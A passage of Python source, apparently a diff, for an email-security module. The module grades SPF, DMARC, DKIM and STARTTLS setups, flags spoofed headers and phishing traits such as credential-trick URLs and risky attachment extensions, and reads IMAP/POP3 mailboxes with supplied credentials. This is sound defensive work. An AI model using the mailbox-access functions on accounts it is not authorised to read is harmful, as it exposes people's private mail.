(-all) recommended'}) + result['status'] = 'warn' + elif result['all_policy'] == '+': + result['findings'].append({'level': 'fail', 'message': 'SPF allows all senders (+all) — anyone can spoof this domain'}) + result['status'] = 'fail' + elif result['all_policy'] == '?': + result['findings'].append({'level': 'warn', 'message': 'SPF uses neutral (?all) — provides no protection'}) + result['status'] = 'warn' + elif result['all_policy'] == 'missing': + result['findings'].append({'level': 'fail', 'message': 'No "all" mechanism — implicit +all (no protection)'}) + result['status'] = 'fail' + + if lookup_count > 10: + result['findings'].append({ + 'level': 'fail', + 'message': f'Too many DNS lookups ({lookup_count}) — SPF limit is 10 (RFC 7208)' + }) + elif lookup_count > 7: + result['findings'].append({ + 'level': 'warn', + 'message': f'{lookup_count} DNS lookups — approaching SPF limit of 10' + }) + + if len(result['includes']) > 5: + result['findings'].append({ + 'level': 'warn', + 'message': f'{len(result["includes"])} include directives — consider consolidating' + }) + + return result + + # -- DMARC --------------------------------------------------------------- + + def check_dmarc(self, domain: str) -> Dict[str, Any]: + """Parse and analyze the DMARC record for a domain.""" + dmarc_domain = f'_dmarc.{domain}' + records = self.get_dns_record(dmarc_domain, 'TXT') + dmarc_record = None + for rec in records: + if rec.strip().startswith('v=DMARC1'): + dmarc_record = rec.strip() + break + + result = { + 'domain': domain, + 'found': dmarc_record is not None, + 'record': dmarc_record or '', + 'policy': 'none', + 'subdomain_policy': None, + 'pct': 100, + 'rua': [], + 'ruf': [], + 'aspf': 'r', # relaxed + 'adkim': 'r', # relaxed + 'fo': '0', + 'findings': [], + 'status': 'fail', + } + + if not dmarc_record: + result['findings'].append({'level': 'fail', 'message': 'No DMARC record found'}) + return result + + # Parse tags + tags = {} + for part in dmarc_record.split(';'): + part = part.strip() + if '=' in part: + key, val = part.split('=', 1) + tags[key.strip()] = val.strip() + + result['policy'] = tags.get('p', 'none') + result['subdomain_policy'] = tags.get('sp') + result['pct'] = int(tags.get('pct', '100')) + result['aspf'] = tags.get('aspf', 'r') + result['adkim'] = tags.get('adkim', 'r') + result['fo'] = tags.get('fo', '0') + + if 'rua' in tags: + result['rua'] = [u.strip() for u in tags['rua'].split(',')] + if 'ruf' in tags: + result['ruf'] = [u.strip() for u in tags['ruf'].split(',')] + + # Analyze + policy = result['policy'] + if policy == 'reject': + result['findings'].append({'level': 'pass', 'message': 'DMARC policy is "reject" — strongest protection'}) + result['status'] = 'pass' + elif policy == 'quarantine': + result['findings'].append({'level': 'warn', 'message': 'DMARC policy is "quarantine" — "reject" recommended'}) + result['status'] = 'warn' + elif policy == 'none': + result['findings'].append({'level': 'fail', 'message': 'DMARC policy is "none" — no protection (monitoring only)'}) + result['status'] = 'fail' + + if result['pct'] < 100: + result['findings'].append({ + 'level': 'warn', + 'message': f'DMARC pct={result["pct"]}% — only applies to {result["pct"]}% of messages' + }) + + if not result['rua']: + result['findings'].append({'level': 'warn', 'message': 'No aggregate report URI (rua) — no visibility into failures'}) + + if result['subdomain_policy'] and result['subdomain_policy'] != policy: + result['findings'].append({ + 'level': 'warn', + 'message': f'Subdomain policy (sp={result["subdomain_policy"]}) differs from domain policy (p={policy})' + }) + + if result['aspf'] == 'r': + result['findings'].append({'level': 'warn', 'message': 'SPF alignment is relaxed — strict (aspf=s) recommended'}) + if result['adkim'] == 'r': + result['findings'].append({'level': 'warn', 'message': 'DKIM alignment is relaxed — strict (adkim=s) recommended'}) + + return result + + # -- DKIM ---------------------------------------------------------------- + + def check_dkim(self, domain: str, selectors: Optional[List[str]] = None) -> Dict[str, Any]: + """Try common DKIM selectors to find signing keys.""" + if selectors is None: + selectors = COMMON_DKIM_SELECTORS + + result = { + 'domain': domain, + 'found_selectors': [], + 'checked_selectors': selectors, + 'findings': [], + 'status': 'fail', + } + + for selector in selectors: + dkim_domain = f'{selector}._domainkey.{domain}' + records = self.get_dns_record(dkim_domain, 'TXT') + + for rec in records: + if 'v=DKIM1' in rec or 'k=' in rec or 'p=' in rec: + key_info = {'selector': selector, 'record': rec} + + # Parse key fields + tags = {} + for part in rec.split(';'): + part = part.strip() + if '=' in part: + k, v = part.split('=', 1) + tags[k.strip()] = v.strip() + + key_info['version'] = tags.get('v', '') + key_info['key_type'] = tags.get('k', 'rsa') + key_info['public_key'] = tags.get('p', '') + key_info['flags'] = tags.get('t', '') + key_info['hash_algorithms'] = tags.get('h', '') + key_info['notes'] = tags.get('n', '') + + if not tags.get('p'): + key_info['revoked'] = True + result['findings'].append({ + 'level': 'warn', + 'message': f'Selector "{selector}" has empty public key — key may be revoked' + }) + else: + key_info['revoked'] = False + + result['found_selectors'].append(key_info) + break + + if result['found_selectors']: + active = [s for s in result['found_selectors'] if not s.get('revoked')] + if active: + result['status'] = 'pass' + result['findings'].insert(0, { + 'level': 'pass', + 'message': f'Found {len(active)} active DKIM selector(s): {", ".join(s["selector"] for s in active)}' + }) + else: + result['findings'].insert(0, { + 'level': 'warn', + 'message': 'DKIM selectors found but all appear revoked' + }) + else: + result['findings'].append({ + 'level': 'warn', + 'message': f'No DKIM records found for {len(selectors)} common selectors' + }) + + return result + + # -- MX ------------------------------------------------------------------ + + def check_mx(self, domain: str) -> Dict[str, Any]: + """Query MX records and analyze mail servers.""" + mx_records = self.get_dns_record(domain, 'MX') + + result = { + 'domain': domain, + 'mx_records': [], + 'findings': [], + 'status': 'fail', + } + + if not mx_records: + result['findings'].append({'level': 'fail', 'message': 'No MX records found'}) + return result + + result['status'] = 'pass' + + for mx_entry in mx_records: + parts = mx_entry.split(None, 1) + if len(parts) == 2: + priority = int(parts[0]) + host = parts[1].rstrip('.') + else: + priority = 0 + host = mx_entry.rstrip('.') + + mx_info = { + 'priority': priority, + 'host': host, + 'ip': _resolve_domain(host), + 'starttls': False, + 'starttls_error': None, + } + + # Check STARTTLS + tls_result = self.check_starttls(host) + mx_info['starttls'] = tls_result.get('starttls', False) + mx_info['starttls_error'] = tls_result.get('error') + mx_info['banner'] = tls_result.get('banner', '') + + if not mx_info['starttls']: + result['findings'].append({ + 'level': 'warn', + 'message': f'MX {host} does not support STARTTLS' + }) + + result['mx_records'].append(mx_info) + + result['mx_records'].sort(key=lambda x: x['priority']) + + if len(result['mx_records']) == 1: + result['findings'].append({ + 'level': 'warn', + 'message': 'Only one MX record — no redundancy for mail delivery' + }) + + all_tls = all(mx['starttls'] for mx in result['mx_records']) + if all_tls: + result['findings'].insert(0, { + 'level': 'pass', + 'message': f'All {len(result["mx_records"])} MX servers support STARTTLS' + }) + + return result + + # -- STARTTLS ------------------------------------------------------------ + + def check_starttls(self, host: str, port: int = 25) -> Dict[str, Any]: + """Check if an SMTP server supports STARTTLS.""" + result = { + 'host': host, + 'port': port, + 'starttls': False, + 'banner': '', + 'tls_version': None, + 'cipher': None, + 'error': None, + } + + try: + sock = socket.create_connection((host, port), timeout=8) + banner = sock.recv(1024).decode('utf-8', errors='replace').strip() + result['banner'] = banner + + # Send EHLO + sock.sendall(b'EHLO autarch.local\r\n') + ehlo_resp = sock.recv(4096).decode('utf-8', errors='replace') + + if 'STARTTLS' in ehlo_resp.upper(): + result['starttls'] = True + + # Try upgrading + sock.sendall(b'STARTTLS\r\n') + tls_resp = sock.recv(1024).decode('utf-8', errors='replace') + + if tls_resp.startswith('220'): + try: + context = ssl.create_default_context() + context.check_hostname = False + context.verify_mode = ssl.CERT_NONE + tls_sock = context.wrap_socket(sock, server_hostname=host) + result['tls_version'] = tls_sock.version() + cipher = tls_sock.cipher() + if cipher: + result['cipher'] = cipher[0] + tls_sock.close() + return result + except ssl.SSLError as e: + result['error'] = f'TLS handshake failed: {e}' + + sock.sendall(b'QUIT\r\n') + sock.close() + except socket.timeout: + result['error'] = 'Connection timed out' + except ConnectionRefusedError: + result['error'] = 'Connection refused' + except Exception as e: + result['error'] = str(e) + + return result + + # -- Domain Analysis (full) ---------------------------------------------- + + def analyze_domain(self, domain: str) -> Dict[str, Any]: + """Comprehensive email security analysis for a domain.""" + domain = domain.strip().lower() + + spf = self.check_spf(domain) + dmarc = self.check_dmarc(domain) + dkim = self.check_dkim(domain) + mx = self.check_mx(domain) + + # Calculate overall score + scores = {'pass': 0, 'warn': 0, 'fail': 0} + for check in [spf, dmarc, dkim, mx]: + status = check.get('status', 'fail') + scores[status] = scores.get(status, 0) + 1 + + total = sum(scores.values()) + if total > 0: + score = int(((scores['pass'] * 100) + (scores['warn'] * 50)) / total) + else: + score = 0 + + # Grade + if score >= 90: + grade = 'A' + elif score >= 75: + grade = 'B' + elif score >= 60: + grade = 'C' + elif score >= 40: + grade = 'D' + else: + grade = 'F' + + result = { + 'domain': domain, + 'timestamp': datetime.now(timezone.utc).isoformat(), + 'spf': spf, + 'dmarc': dmarc, + 'dkim': dkim, + 'mx': mx, + 'score': score, + 'grade': grade, + 'summary': { + 'spf_status': spf['status'], + 'dmarc_status': dmarc['status'], + 'dkim_status': dkim['status'], + 'mx_status': mx['status'], + } + } + + # Save analysis + self._save_analysis(domain, result) + return result + + # -- Header Analysis ----------------------------------------------------- + + def analyze_headers(self, raw_headers: str) -> Dict[str, Any]: + """Parse and analyze email headers for security issues.""" + result = { + 'received_chain': [], + 'authentication': { + 'spf': 'none', + 'dkim': 'none', + 'dmarc': 'none', + }, + 'from': '', + 'return_path': '', + 'reply_to': '', + 'message_id': '', + 'date': '', + 'subject': '', + 'originating_ip': None, + 'spoofing_indicators': [], + 'findings': [], + } + + # Parse with email module + msg = email.message_from_string(raw_headers) + + # Extract basic headers + result['from'] = str(msg.get('From', '')) + result['return_path'] = str(msg.get('Return-Path', '')) + result['reply_to'] = str(msg.get('Reply-To', '')) + result['message_id'] = str(msg.get('Message-ID', '')) + result['date'] = str(msg.get('Date', '')) + result['subject'] = str(msg.get('Subject', '')) + + # Decode encoded headers + for field in ['from', 'subject', 'reply_to']: + val = result[field] + if val and '=?' in val: + decoded_parts = email.header.decode_header(val) + decoded = '' + for part, charset in decoded_parts: + if isinstance(part, bytes): + decoded += part.decode(charset or 'utf-8', errors='replace') + else: + decoded += str(part) + result[field] = decoded + + # Parse Received chain + received_headers = msg.get_all('Received', []) + for i, recv in enumerate(received_headers): + hop = {'raw': recv, 'hop': i + 1} + + # Extract from/by + from_match = re.search(r'from\s+(\S+)', recv, re.I) + by_match = re.search(r'by\s+(\S+)', recv, re.I) + if from_match: + hop['from'] = from_match.group(1) + if by_match: + hop['by'] = by_match.group(1) + + # Extract IP + ip_match = re.search(r'\[(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})\]', recv) + if ip_match: + hop['ip'] = ip_match.group(1) + + # Extract timestamp + ts_match = re.search(r';\s*(.+?)$', recv) + if ts_match: + hop['timestamp'] = ts_match.group(1).strip() + + result['received_chain'].append(hop) + + # Originating IP (last Received header — outermost hop) + if result['received_chain']: + for hop in reversed(result['received_chain']): + if hop.get('ip') and not hop['ip'].startswith(('10.', '192.168.', '172.')): + result['originating_ip'] = hop['ip'] + break + + # Parse Authentication-Results + auth_results = msg.get_all('Authentication-Results', []) + for ar in auth_results: + ar_lower = ar.lower() + if 'spf=' in ar_lower: + spf_match = re.search(r'spf=(\w+)', ar_lower) + if spf_match: + result['authentication']['spf'] = spf_match.group(1) + if 'dkim=' in ar_lower: + dkim_match = re.search(r'dkim=(\w+)', ar_lower) + if dkim_match: + result['authentication']['dkim'] = dkim_match.group(1) + if 'dmarc=' in ar_lower: + dmarc_match = re.search(r'dmarc=(\w+)', ar_lower) + if dmarc_match: + result['authentication']['dmarc'] = dmarc_match.group(1) + + # Spoofing indicators + from_addr = result['from'] + return_path = result['return_path'] + reply_to = result['reply_to'] + + # Extract domain from From header + from_domain_match = re.search(r'@([\w.-]+)', from_addr) + from_domain = from_domain_match.group(1) if from_domain_match else '' + + rp_domain_match = re.search(r'@([\w.-]+)', return_path) + rp_domain = rp_domain_match.group(1) if rp_domain_match else '' + + if from_domain and rp_domain and from_domain.lower() != rp_domain.lower(): + result['spoofing_indicators'].append({ + 'level': 'warn', + 'indicator': 'From/Return-Path mismatch', + 'detail': f'From domain: {from_domain}, Return-Path domain: {rp_domain}' + }) + + if reply_to: + rt_domain_match = re.search(r'@([\w.-]+)', reply_to) + rt_domain = rt_domain_match.group(1) if rt_domain_match else '' + if from_domain and rt_domain and from_domain.lower() != rt_domain.lower(): + result['spoofing_indicators'].append({ + 'level': 'warn', + 'indicator': 'From/Reply-To mismatch', + 'detail': f'From domain: {from_domain}, Reply-To domain: {rt_domain}' + }) + + # Check authentication failures + for auth_type, auth_result in result['authentication'].items(): + if auth_result == 'fail': + result['findings'].append({ + 'level': 'fail', + 'message': f'{auth_type.upper()} authentication failed' + }) + elif auth_result == 'pass': + result['findings'].append({ + 'level': 'pass', + 'message': f'{auth_type.upper()} authentication passed' + }) + elif auth_result == 'none': + result['findings'].append({ + 'level': 'warn', + 'message': f'No {auth_type.upper()} authentication result' + }) + + # Check for suspicious Received hops + if len(result['received_chain']) > 8: + result['findings'].append({ + 'level': 'warn', + 'message': f'Unusually long Received chain ({len(result["received_chain"])} hops)' + }) + + return result + + # -- Phishing Detection -------------------------------------------------- + + def detect_phishing(self, email_content: str) -> Dict[str, Any]: + """Analyze email content for phishing indicators.""" + result = { + 'risk_score': 0, + 'risk_level': 'low', + 'findings': [], + 'urls_found': [], + 'suspicious_urls': [], + 'attachment_refs': [], + } + + content_lower = email_content.lower() + total_weight = 0 + + # Check each indicator category + for category, info in PHISHING_INDICATORS.items(): + category_hits = [] + for pattern in info['patterns']: + matches = re.findall(pattern, content_lower, re.I) + if matches: + category_hits.extend(matches) + + if category_hits: + total_weight += info['weight'] + result['findings'].append({ + 'category': category, + 'severity': 'high' if info['weight'] >= 25 else 'medium' if info['weight'] >= 15 else 'low', + 'matches': list(set(str(m) if isinstance(m, str) else str(m) for m in category_hits[:10])), + 'weight': info['weight'], + }) + + # Extract and analyze URLs + urls = re.findall(r'https?://[^\s<>"\')\]]+', email_content, re.I) + result['urls_found'] = list(set(urls)) + + for url in result['urls_found']: + suspicious_reasons = [] + parsed = urlparse(url) + hostname = parsed.hostname or '' + + # IP-based URL + if _is_valid_ip(hostname): + suspicious_reasons.append('IP-based URL') + + # URL shortener + if hostname.lower() in URL_SHORTENER_DOMAINS: + suspicious_reasons.append('URL shortener') + + # Suspicious TLD + for tld in SUSPICIOUS_TLDS: + if hostname.endswith(tld): + suspicious_reasons.append(f'Suspicious TLD ({tld})') + break + + # Long subdomain (possible typosquatting) + parts = hostname.split('.') + if len(parts) > 4: + suspicious_reasons.append('Excessive subdomains') + + # @-symbol in URL (credential harvesting trick) + if '@' in url: + suspicious_reasons.append('Contains @ symbol (possible credential trick)') + + # Homograph / punycode + if hostname.startswith('xn--'): + suspicious_reasons.append('Punycode/IDN domain') + + if suspicious_reasons: + result['suspicious_urls'].append({ + 'url': url, + 'reasons': suspicious_reasons, + }) + total_weight += 10 + + # Check for attachment references + attachment_exts = re.findall( + r'[\w.-]+\.(exe|scr|bat|cmd|com|pif|vbs|vbe|js|jse|wsf|wsh|ps1|msi|dll|docm|xlsm|pptm|iso|img|hta|lnk|zip|rar|7z)', + content_lower + ) + if attachment_exts: + result['attachment_refs'] = list(set(attachment_exts)) + total_weight += 15 + + # Calculate risk score (0-100) + result['risk_score'] = min(100, total_weight) + if result['risk_score'] >= 70: + result['risk_level'] = 'critical' + elif result['risk_score'] >= 50: + result['risk_level'] = 'high' + elif result['risk_score'] >= 30: + result['risk_level'] = 'medium' + else: + result['risk_level'] = 'low' + + return result + + # -- Mailbox Search ------------------------------------------------------ + + def search_mailbox(self, host: str, username: str, password: str, + protocol: str = 'imap', search_query: Optional[str] = None, + folder: str = 'INBOX', use_ssl: bool = True) -> Dict[str, Any]: + """Connect to a mailbox and search for emails.""" + result = { + 'host': host, + 'protocol': protocol, + 'folder': folder, + 'messages': [], + 'total': 0, + 'error': None, + } + + try: + if protocol.lower() == 'imap': + result = self._search_imap(host, username, password, search_query, folder, use_ssl) + elif protocol.lower() == 'pop3': + result = self._search_pop3(host, username, password, search_query, use_ssl) + else: + result['error'] = f'Unsupported protocol: {protocol}' + except Exception as e: + result['error'] = str(e) + + return result + + def _search_imap(self, host: str, username: str, password: str, + search_query: Optional[str], folder: str, use_ssl: bool) -> Dict: + """Search via IMAP.""" + result = {'host': host, 'protocol': 'imap', 'folder': folder, 'messages': [], 'total': 0, 'error': None} + + try: + if use_ssl: + conn = imaplib.IMAP4_SSL(host, timeout=15) + else: + conn = imaplib.IMAP4(host, timeout=15) + + conn.login(username, password) + conn.select(folder, readonly=True) + + # Build search criteria + if search_query: + # Support simple search syntax + criteria = search_query.upper() + if not criteria.startswith('('): + # Wrap simple queries + if '@' in search_query: + criteria = f'(FROM "{search_query}")' + elif re.match(r'\d{1,2}-\w{3}-\d{4}', search_query): + criteria = f'(SINCE "{search_query}")' + else: + criteria = f'(SUBJECT "{search_query}")' + else: + criteria = 'ALL' + + status, data = conn.search(None, criteria) + if status != 'OK': + result['error'] = 'Search failed' + conn.logout() + return result + + msg_ids = data[0].split() + result['total'] = len(msg_ids) + + # Fetch last 50 message summaries + for msg_id in msg_ids[-50:]: + status, msg_data = conn.fetch(msg_id, '(RFC822.SIZE BODY[HEADER.FIELDS (FROM SUBJECT DATE MESSAGE-ID)])') + if status == 'OK' and msg_data[0]: + header_data = msg_data[0][1] if isinstance(msg_data[0], tuple) else msg_data[0] + if isinstance(header_data, bytes): + header_data = header_data.decode('utf-8', errors='replace') + + msg = email.message_from_string(header_data) + size = 0 + # Try to get size from FETCH response + if isinstance(msg_data[0], tuple): + size_match = re.search(r'RFC822\.SIZE\s+(\d+)', str(msg_data[0][0])) + if size_match: + size = int(size_match.group(1)) + + summary = { + 'id': msg_id.decode() if isinstance(msg_id, bytes) else str(msg_id), + 'from': str(msg.get('From', '')), + 'subject': str(msg.get('Subject', '')), + 'date': str(msg.get('Date', '')), + 'message_id': str(msg.get('Message-ID', '')), + 'size': size, + } + + # Decode encoded headers + for field in ['from', 'subject']: + if summary[field] and '=?' in summary[field]: + try: + decoded_parts = email.header.decode_header(summary[field]) + decoded = '' + for part, charset in decoded_parts: + if isinstance(part, bytes): + decoded += part.decode(charset or 'utf-8', errors='replace') + else: + decoded += str(part) + summary[field] = decoded + except Exception: + pass + + result['messages'].append(summary) + + conn.logout() + except imaplib.IMAP4.error as e: + result['error'] = f'IMAP error: {e}' + except Exception as e: + result['error'] = str(e) + + return result + + def _search_pop3(self, host: str, username: str, password: str, + search_query: Optional[str], use_ssl: bool) -> Dict: + """Search via POP3 (limited — retrieves headers of recent messages).""" + result = {'host': host, 'protocol': 'pop3', 'folder': 'INBOX', 'messages': [], 'total': 0, 'error': None} + + try: + if use_ssl: + conn = poplib.POP3_SSL(host, timeout=15) + else: + conn = poplib.POP3(host, timeout=15) + + conn.user(username) + conn.pass_(password) + + count, size = conn.stat() + result['total'] = count + + # Fetch last 50 messages' headers + start = max(1, count - 49) + query_lower = search_query.lower() if search_query else None + + for i in range(start, count + 1): + resp, lines, octets = conn.top(i, 0) + header_text = b'\r\n'.join(lines).decode('utf-8', errors='replace') + msg = email.message_from_string(header_text) + + summary = { + 'id': str(i), + 'from': str(msg.get('From', '')), + 'subject': str(msg.get('Subject', '')), + 'date': str(msg.get('Date', '')), + 'message_id': str(msg.get('Message-ID', '')), + 'size': octets, + } + + # Apply client-side filter + if query_lower: + match = (query_lower in summary['from'].lower() or + query_lower in summary['subject'].lower()) + if not match: + continue + + result['messages'].append(summary) + + conn.quit() + except Exception as e: + result['error'] = str(e) + + return result + + # -- Fetch Full Email ---------------------------------------------------- + + def fetch_email(self, host: str, username: str, password: str, + message_id: str, protocol: str = 'imap', + use_ssl: bool = True) -> Dict[str, Any]: + """Fetch a complete email by message ID.""" + result = {'message_id': message_id, 'raw_headers': '', 'body': '', 'attachments': [], 'error': None} + + try: + if protocol.lower() == 'imap': + if use_ssl: + conn = imaplib.IMAP4_SSL(host, timeout=15) + else: + conn = imaplib.IMAP4(host, timeout=15) + + conn.login(username, password) + conn.select('INBOX', readonly=True) + + status, data = conn.fetch(message_id.encode() if isinstance(message_id, str) else message_id, + '(RFC822)') + if status == 'OK' and data[0]: + raw = data[0][1] if isinstance(data[0], tuple) else data[0] + if isinstance(raw, bytes): + raw = raw.decode('utf-8', errors='replace') + + msg = email.message_from_string(raw) + + # Headers + header_keys = ['From', 'To', 'Cc', 'Subject', 'Date', 'Message-ID', + 'Return-Path', 'Reply-To', 'Received', + 'Authentication-Results', 'DKIM-Signature', + 'X-Mailer', 'X-Originating-IP'] + headers_text = '' + for key in header_keys: + vals = msg.get_all(key, []) + for v in vals: + headers_text += f'{key}: {v}\n' + result['raw_headers'] = headers_text + + # Body + if msg.is_multipart(): + for part in msg.walk(): + ct = part.get_content_type() + cd = str(part.get('Content-Disposition', '')) + + if 'attachment' in cd: + result['attachments'].append({ + 'filename': part.get_filename() or 'unknown', + 'content_type': ct, + 'size': len(part.get_payload(decode=True) or b''), + }) + elif ct == 'text/plain': + payload = part.get_payload(decode=True) + if payload: + result['body'] = payload.decode('utf-8', errors='replace') + elif ct == 'text/html' and not result['body']: + payload = part.get_payload(decode=True) + if payload: + result['body'] = payload.decode('utf-8', errors='replace') + else: + payload = msg.get_payload(decode=True) + if payload: + result['body'] = payload.decode('utf-8', errors='replace') + + conn.logout() + + elif protocol.lower() == 'pop3': + if use_ssl: + conn = poplib.POP3_SSL(host, timeout=15) + else: + conn = poplib.POP3(host, timeout=15) + + conn.user(username) + conn.pass_(password) + + resp, lines, octets = conn.retr(int(message_id)) + raw = b'\r\n'.join(lines).decode('utf-8', errors='replace') + msg = email.message_from_string(raw) + + result['raw_headers'] = '\n'.join( + f'{k}: {v}' for k, v in msg.items() + ) + + if msg.is_multipart(): + for part in msg.walk(): + ct = part.get_content_type() + if ct == 'text/plain': + payload = part.get_payload(decode=True) + if payload: + result['body'] = payload.decode('utf-8', errors='replace') + break + else: + payload = msg.get_payload(decode=True) + if payload: + result['body'] = payload.decode('utf-8', errors='replace') + + conn.quit() + + except Exception as e: + result['error'] = str(e) + + return result + + # -- Abuse Report -------------------------------------------------------- + + def generate_abuse_report(self, incident_data: Dict[str, Any]) -> Dict[str, Any]: + """Generate a formatted abuse report for ISP/hosting provider.""" + now = datetime.now(timezone.utc).strftime('%Y-%m-%d %H:%M:%S UTC') + incident_type = incident_data.get('type', 'spam/phishing') + source_ip = incident_data.get('source_ip', 'Unknown') + source_domain = incident_data.get('source_domain', 'Unknown') + description = incident_data.get('description', '') + evidence_headers = incident_data.get('headers', '') + evidence_urls = incident_data.get('urls', []) + reporter_name = incident_data.get('reporter_name', 'AUTARCH Security Platform') + reporter_email = incident_data.get('reporter_email', '') + + report_lines = [ + '=' * 72, + 'ABUSE REPORT', + '=' * 72, + '', + f'Date: {now}', + f'Report Type: {incident_type}', + f'Reporter: {reporter_name}', + ] + if reporter_email: + report_lines.append(f'Reporter Email: {reporter_email}') + + report_lines += [ + '', + '-' * 72, + 'INCIDENT DETAILS', + '-' * 72, + '', + f'Source IP: {source_ip}', + f'Source Domain: {source_domain}', + f'Incident Type: {incident_type}', + '', + 'Description:', + description or '(No description provided)', + '', + ] + + if evidence_headers: + report_lines += [ + '-' * 72, + 'EVIDENCE — EMAIL HEADERS', + '-' * 72, + '', + evidence_headers, + '', + ] + + if evidence_urls: + report_lines += [ + '-' * 72, + 'EVIDENCE — MALICIOUS URLs', + '-' * 72, + '', + ] + for url in evidence_urls: + report_lines.append(f' - {url}') + report_lines.append('') + + report_lines += [ + '-' * 72, + 'REQUESTED ACTION', + '-' * 72, + '', + 'We request that you:', + ' 1. Investigate the reported IP address/domain for abusive activity', + ' 2. Take appropriate action (suspension, warning, content removal)', + ' 3. Implement measures to prevent recurring abuse', + ' 4. Respond with your findings and actions taken', + '', + '-' * 72, + 'ADDITIONAL INFORMATION', + '-' * 72, + '', + 'This report was generated by AUTARCH Security Platform.', + 'The evidence presented is accurate and collected through legitimate', + 'security analysis. We are available for further investigation if needed.', + '', + '=' * 72, + ] + + report_text = '\n'.join(report_lines) + + # Save the report + report_id = hashlib.md5(f'{now}:{source_ip}:{incident_type}'.encode()).hexdigest()[:12] + report_path = self.storage_dir / f'abuse_report_{report_id}.txt' + with open(report_path, 'w') as f: + f.write(report_text) + + return { + 'report_id': report_id, + 'report_text': report_text, + 'saved_to': str(report_path), + } + + # -- Blacklist Check ----------------------------------------------------- + + def check_blacklists(self, ip_or_domain: str) -> Dict[str, Any]: + """Check if an IP or domain is on common email blacklists.""" + ip_or_domain = ip_or_domain.strip() + + # Resolve domain to IP if needed + if _is_valid_ip(ip_or_domain): + ip = ip_or_domain + else: + ip = _resolve_domain(ip_or_domain) + if not ip: + return { + 'query': ip_or_domain, + 'error': f'Could not resolve {ip_or_domain} to an IP address', + 'results': [], + 'listed_count': 0, + } + + reversed_ip = _reverse_ip(ip) + results = [] + listed_count = 0 + + for bl in BLACKLISTS: + lookup = f'{reversed_ip}.{bl}' + entry = {'blacklist': bl, 'listed': False, 'details': ''} + + try: + socket.setdefaulttimeout(3) + addr = socket.gethostbyname(lookup) + entry['listed'] = True + entry['details'] = f'Listed (response: {addr})' + listed_count += 1 + + # Try to get TXT reason + try: + txt_records = _dns_query(lookup, 'TXT') + if txt_records: + entry['details'] = txt_records[0] + except Exception: + pass + + except (socket.gaierror, socket.herror): + entry['details'] = 'Not listed' + except socket.timeout: + entry['details'] = 'Timeout' + except Exception as e: + entry['details'] = f'Error: {e}' + + results.append(entry) + + return { + 'query': ip_or_domain, + 'ip': ip, + 'results': results, + 'listed_count': listed_count, + 'total_checked': len(BLACKLISTS), + 'clean': listed_count == 0, + } + + # -- Storage Helpers ----------------------------------------------------- + + def _save_analysis(self, domain: str, data: Dict): + """Save domain analysis to storage.""" + safe_name = re.sub(r'[^a-zA-Z0-9.-]', '_', domain) + path = self.storage_dir / f'analysis_{safe_name}.json' + with open(path, 'w') as f: + json.dump(data, f, indent=2, default=str) + + def get_saved_analyses(self) -> List[Dict]: + """List saved domain analyses.""" + analyses = [] + for f in sorted(self.storage_dir.glob('analysis_*.json'), key=os.path.getmtime, reverse=True): + try: + with open(f) as fp: + data = json.load(fp) + analyses.append({ + 'domain': data.get('domain', ''), + 'grade': data.get('grade', '?'), + 'score': data.get('score', 0), + 'timestamp': data.get('timestamp', ''), + 'file': str(f), + }) + except Exception: + pass + return analyses + + +# -- Singleton --------------------------------------------------------------- + +_instance = None + + +def get_email_sec() -> EmailSecurity: + global _instance + if _instance is None: + _instance = EmailSecurity() + return _instance + + +# -- CLI Interface ----------------------------------------------------------- + +def run(): + """CLI entry point for Email Security module.""" + es = get_email_sec() + + while True: + print(f"\n{'='*60}") + print(f" Email Security") + print(f"{'='*60}") + print() + print(" 1 -- Analyze Domain") + print(" 2 -- Analyze Headers") + print(" 3 -- Detect Phishing") + print(" 4 -- Search Mailbox") + print(" 5 -- Check Blacklists") + print(" 6 -- Generate Abuse Report") + print(" 0 -- Back") + print() + + choice = input(f" {Colors.CYAN}>{Colors.RESET} ").strip() + + if choice == '0': + break + + elif choice == '1': + domain = input("\n Domain: ").strip() + if not domain: + continue + print(f"\n Analyzing {domain}...") + result = es.analyze_domain(domain) + print(f"\n Grade: {result['grade']} (Score: {result['score']}/100)") + print(f" SPF: {result['summary']['spf_status']}") + print(f" DMARC: {result['summary']['dmarc_status']}") + print(f" DKIM: {result['summary']['dkim_status']}") + print(f" MX: {result['summary']['mx_status']}") + + for check_name in ['spf', 'dmarc', 'dkim', 'mx']: + check = result[check_name] + findings = check.get('findings', []) + if findings: + print(f"\n {check_name.upper()} findings:") + for f in findings: + level = f.get('level', 'info') + sym = '+' if level == 'pass' else '!' if level == 'warn' else 'X' + print(f" [{sym}] {f['message']}") + + elif choice == '2': + print("\n Paste raw email headers (end with empty line):") + lines = [] + while True: + line = input() + if not line: + break + lines.append(line) + raw = '\n'.join(lines) + if not raw: + continue + + result = es.analyze_headers(raw) + print(f"\n From: {result['from']}") + print(f" Subject: {result['subject']}") + print(f" Date: {result['date']}") + print(f" Origin IP: {result.get('originating_ip', 'Unknown')}") + print(f" SPF: {result['authentication']['spf']}") + print(f" DKIM: {result['authentication']['dkim']}") + print(f" DMARC: {result['authentication']['dmarc']}") + + if result['received_chain']: + print(f"\n Received chain ({len(result['received_chain'])} hops):") + for hop in result['received_chain']: + print(f" Hop {hop['hop']}: {hop.get('from', '?')} -> {hop.get('by', '?')}" + f" [{hop.get('ip', '?')}]") + + if result['spoofing_indicators']: + print(f"\n Spoofing indicators:") + for s in result['spoofing_indicators']: + print(f" [!] {s['indicator']}: {s['detail']}") + + elif choice == '3': + print("\n Paste email content (end with empty line):") + lines = [] + while True: + line = input() + if not line: + break + lines.append(line) + content = '\n'.join(lines) + if not content: + continue + + result = es.detect_phishing(content) + print(f"\n Risk Score: {result['risk_score']}/100 ({result['risk_level']})") + + if result['findings']: + print(f"\n Findings:") + for f in result['findings']: + print(f" [{f['severity']}] {f['category']}: {', '.join(f['matches'][:5])}") + + if result['suspicious_urls']: + print(f"\n Suspicious URLs:") + for u in result['suspicious_urls']: + print(f" {u['url']}") + for r in u['reasons']: + print(f" - {r}") + + elif choice == '4': + host = input("\n Mail server: ").strip() + username = input(" Username: ").strip() + password = input(" Password: ").strip() + protocol = input(" Protocol (imap/pop3) [imap]: ").strip() or 'imap' + query = input(" Search query (optional): ").strip() or None + + if not host or not username or not password: + print(" Missing required fields") + continue + + print(f"\n Connecting to {host}...") + result = es.search_mailbox(host, username, password, protocol, query) + + if result.get('error'): + print(f" Error: {result['error']}") + else: + print(f" Found {result['total']} messages") + for msg in result.get('messages', [])[-20:]: + print(f" [{msg['id']}] {msg['date'][:16]} {msg['from'][:30]} {msg['subject'][:40]}") + + elif choice == '5': + target = input("\n 